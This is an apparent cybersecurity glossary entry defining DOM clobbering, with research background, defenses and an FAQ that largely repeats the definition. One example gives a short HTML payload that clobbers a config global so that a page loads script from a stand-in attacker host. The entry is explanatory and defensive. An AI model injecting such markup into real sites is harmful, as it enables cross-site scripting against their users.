Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Русский
Entry № 382

DOM Clobbering

Что такое DOM Clobbering?

DOM ClobberingA browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.

DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.

● Примеры

  1. 01

    A markdown comment containing `<a id=config><a id=config name=url href=//evil>` causes the page's loader to fetch a script from evil.tld.

  2. 02

    A 2023 DOMPurify advisory adds `id` and `name` attributes to the sanitizer's strip-list to defeat known DOM-clobbering gadget chains.

● Частые вопросы

Что такое DOM Clobbering?

A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining. Относится к категории Безопасность приложений в кибербезопасности.

Что означает DOM Clobbering?

A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.

Как работает DOM Clobbering?

DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.

Как защититься от DOM Clobbering?

Защита от DOM Clobbering обычно сочетает технические меры и операционные практики, как описано в определении выше.

Какие есть другие названия DOM Clobbering?

Распространённые альтернативные названия: HTML namespace pollution, Named-element global hijack.

● Связанные термины